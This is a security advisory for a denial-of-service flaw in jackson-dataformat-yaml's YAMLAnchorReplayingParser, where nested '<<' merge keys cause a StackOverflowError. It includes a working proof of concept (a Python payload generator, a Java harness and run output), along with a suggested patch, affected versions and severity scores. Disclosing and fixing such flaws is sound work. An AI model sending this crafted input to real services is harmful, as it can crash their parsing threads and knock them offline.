CVE-2026-115876
Published:October 23, 2026
Updated:October 26, 2026
Summary "YAMLAnchorReplayingParser" in "jackson-dataformat-yaml" (available since 2.19.0) handles YAML merge keys ("<<") through unbounded recursion. A crafted YAML document with approximately 3,271 levels of nested "<<" keys (~20 KB) triggers "StackOverflowError" on the parsing thread. Because "StackOverflowError" is a JVM "Error", it typically escapes application-level "catch (Exception)" handlers, crashing the thread that called the parser. Severity: High — unauthenticated remote denial of service. ### Details "YAMLAnchorReplayingParser.getEvent()" calls itself recursively when it encounters a merge key scalar "<<": "java // YAMLAnchorReplayingParser.java (affected versions) if (scalarEvent.getValue().equals("<<")) { Event next = getEvent(); // recursive call #1 if (next instanceof MappingStartEvent) { mergeStack.push(globalDepth); return getEvent(); // recursive call #2 } } " Each level of nesting in the "<<" structure adds approximately one Java stack frame per recursive call. At around 3,271 levels the default thread stack (512 KB – 1 MB) is exhausted. SnakeYAML's "nestingDepthLimit = 50" check is present only in the "Composer" class. "YAMLParser" calls "ParserImpl" directly and does not go through "Composer", so that protection is bypassed. The existing guard "MAX_MERGES = 9999" is never reached because the JVM stack overflows first. Stack trace excerpt (x86_64 Linux, OpenJDK 17, default thread stack): "java.lang.StackOverflowError at com.fasterxml.jackson.dataformat.yaml.YAMLAnchorReplayingParser.getEvent (YAMLAnchorReplayingParser.java:167) at com.fasterxml.jackson.dataformat.yaml.YAMLAnchorReplayingParser.getEvent (YAMLAnchorReplayingParser.java:167) ... (repeated ~1,000+ times until stack is exhausted)" The recursion is rooted at the "<<" merge key path; the first frames where the overflow manifests are inside SnakeYAML's scanner (called from within the deep "getEvent()" call chain). ### PoC Environment: x86_64 Linux, OpenJDK 17, jackson-dataformat-yaml 2.21.2 Step 1 — generate bomb input (Python 3): "python # gen_merge_bomb.py n = 3300 s = "{x: 1}" for _ in range(n): s = "{<<: %s}" % s yaml = "result:\n <<: " + s + "\n" with open("/tmp/merge_bomb.yaml", "w") as f: f.write(yaml) print("Generated: %d bytes" % len(yaml.encode())) " "$ python3 gen_merge_bomb.py Generated: 19821 bytes" Step 2 — test harness (PoCH14.java): "java import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.dataformat.yaml.YAMLAnchorReplayingFactory; public class PoCH14 { public static void main(String[] args) throws Exception { int depth = 3300; StringBuilder sb = new StringBuilder(); for (int i = 0; i < depth; i++) sb.append("{<<: "); sb.append("{x: 1}"); for (int i = 0; i < depth; i++) sb.append("}"); String yaml = "result:\n <<: " + sb.toString() + "\n"; System.out.println("[*] Input: " + yaml.length() + " bytes"); YAMLAnchorReplayingFactory factory = new YAMLAnchorReplayingFactory(); ObjectMapper mapper = new ObjectMapper(factory); try { mapper.readTree(yaml); System.out.println("[!] No crash"); } catch (StackOverflowError e) { System.out.println("[!] StackOverflowError triggered"); StackTraceElement[] t = e.getStackTrace(); for (int i = 0; i < Math.min(3, t.length); i++) System.out.println(" " + t[i]); } } } " Step 3 — compile and run: "$ javac -cp jackson-dataformat-yaml-2.21.2.jar:jackson-core-2.18.3.jar:\ jackson-databind-2.18.3.jar:jackson-annotations-2.18.3.jar:\ snakeyaml-2.3.jar PoCH14.java $ java -cp .:jackson-dataformat-yaml-2.21.2.jar:jackson-core-2.18.3.jar:\ jackson-databind-2.18.3.jar:jackson-annotations-2.18.3.jar:\ snakeyaml-2.3.jar PoCH14" Output: "[*] Input: 19821 bytes [!] StackOverflowError triggered java.base/java.util.HashMap.hash(HashMap.java:338) java.base/java.util.HashMap.remove(HashMap.java:797) org.yaml.snakeyaml.scanner.ScannerImpl.removePossibleSimpleKey(ScannerImpl.java:562)" The same result is reproduced on jackson-dataformat-yaml 2.23.0-SNAPSHOT (git HEAD of the 2.x branch as of the time of this report, 2026-07-17), confirming the vulnerability is present in the unpatched 2.x source line. ### Impact Any application that uses "YAMLAnchorReplayingFactory" (available since jackson-dataformat-yaml 2.19.0) to parse attacker-supplied YAML is vulnerable. A single ~20 KB HTTP request or file upload can crash the parsing thread with "StackOverflowError". Because "StackOverflowError" extends "Error" and not "Exception", standard "try { ... } catch (Exception e)" handlers do not catch it, making the crash difficult to handle gracefully. Applications processing YAML from untrusted sources via any of the following are affected: - "new ObjectMapper(new YAMLAnchorReplayingFactory())" - "YAMLAnchorReplayingFactory.createParser(...)" - Any wrapper that internally instantiates "YAMLAnchorReplayingParser" The standard "YAMLFactory" (the default) is not affected. ### Suggested Fix Add a recursion depth counter to the merge key handling path in "getEvent()". A constant "MAX_MERGE_DEPTH = 64" provides sufficient headroom for legitimate use while preventing stack exhaustion: "java // New field private static final int MAX_MERGE_DEPTH = 64; private int _mergeKeyDepth = 0; // In getEvent(), replace the merge key block with: if (scalarEvent.getValue().equals("<<")) { Event next = getEvent(); if (next instanceof MappingStartEvent) { if (mergeStack.size() + 1 > MAX_MERGES) throw new StreamConstraintsException("too many merges in the document"); mergeStack.push(globalDepth); if (_mergeKeyDepth >= MAX_MERGE_DEPTH) { throw new StreamConstraintsException( "merge key nesting depth (" + _mergeKeyDepth + ") exceeds the allowed maximum (" + MAX_MERGE_DEPTH + ")"); } _mergeKeyDepth++; try { return getEvent(); } finally { _mergeKeyDepth--; } } throw new JsonParseException("found field '<<' but value isn't a map"); } " This fix is present in the 3.x branch at commit 798afb04dd1bf65013e287f231b9a3e21950ddad (2026-03-27, PR #624). It has not been backported to the 2.x branch as of the date of this report (2026-07-17). ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
Affected Packages
https://github.com/FasterXML/jackson-dataformats-text.git (GITHUB):
Affected version(s) >=jackson-dataformats-text-2.22.0 <jackson-dataformats-text-2.22.2Fix Suggestion:
Update to version jackson-dataformats-text-2.22.2https://github.com/FasterXML/jackson-dataformats-text.git (GITHUB):
Affected version(s) >=jackson-dataformats-text-2.19.0 <jackson-dataformats-text-2.21.6Fix Suggestion:
Update to version jackson-dataformats-text-2.21.6https://github.com/FasterXML/jackson-dataformats-text.git (GITHUB):
Affected version(s) >=jackson-dataformats-text-3.2.0 <jackson-dataformats-text-3.2.2Fix Suggestion:
Update to version jackson-dataformats-text-3.2.2https://github.com/FasterXML/jackson-dataformats-text.git (GITHUB):
Affected version(s) >=jackson-dataformats-text-3.1.0 <jackson-dataformats-text-3.1.6Fix Suggestion:
Update to version jackson-dataformats-text-3.1.6tools.jackson.dataformat:jackson-dataformat-yaml (JAVA):
Affected version(s) >=3.1.0 <3.1.6Fix Suggestion:
Update to version 3.1.6tools.jackson.dataformat:jackson-dataformat-yaml (JAVA):
Affected version(s) >=3.2.0 <3.2.2Fix Suggestion:
Update to version 3.2.2com.fasterxml.jackson.dataformat:jackson-dataformat-yaml (JAVA):
Affected version(s) >=2.22.0 <2.22.2Fix Suggestion:
Update to version 2.22.2com.fasterxml.jackson.dataformat:jackson-dataformat-yaml (JAVA):
Affected version(s) >=2.19.0 <2.21.6Fix Suggestion:
Update to version 2.21.6Related Resources (3)
Do you need more information?
Contact UsCVSS v4
Base Score:
8.7
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
NONE
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
7.5
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
NONE
Availability
HIGH
Weakness Type (CWE)
Uncontrolled Recursion